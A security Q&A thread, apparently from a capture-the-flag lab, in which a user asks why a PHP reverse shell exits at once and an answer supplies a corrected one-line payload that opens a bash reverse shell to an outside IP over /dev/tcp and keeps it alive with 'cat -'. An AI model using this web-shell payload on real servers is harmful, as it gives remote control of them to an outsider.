1

My reverse shell is exiting when i lsten it with netcat: here is netcat output:

listening on [any] 5555 ...
connect to [10.9.3.117] from (UNKNOWN) [10.10.47.117] 37602
bash: cannot set terminal process group (873): Inappropriate ioctl for device
bash: no job control in this shell
www-data@rootme:/var/www/html/uploads$ exit

here is my php reverse shell:

<?php system("bash -c 'bash -i >& /dev/tcp/10.9.3.157/5555>&1'"); ?>

Any help?

1
  • Have you looked up those error messages?
    – schroeder
    Commented Aug 29, 2021 at 14:29

1 Answer 1

1

The issue is once the command bash -c 'bash -i >& /dev/tcp/10.9.3.157/5555>&1' is executed the system function will exit which lead to kill the created bash process and the reverse shell. To solve this, you need to add a command that will keep the process created by system running/alive. You can try:

<?php system("bash -i >& /dev/tcp/10.9.3.157/5555>&1; cat -"); ?>

The cat - command will permanently wait for STDIN and print it to STDOUT until it process or it parent process are killed. This will block the exit of the process created by system function as long as the cat - process is running.

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .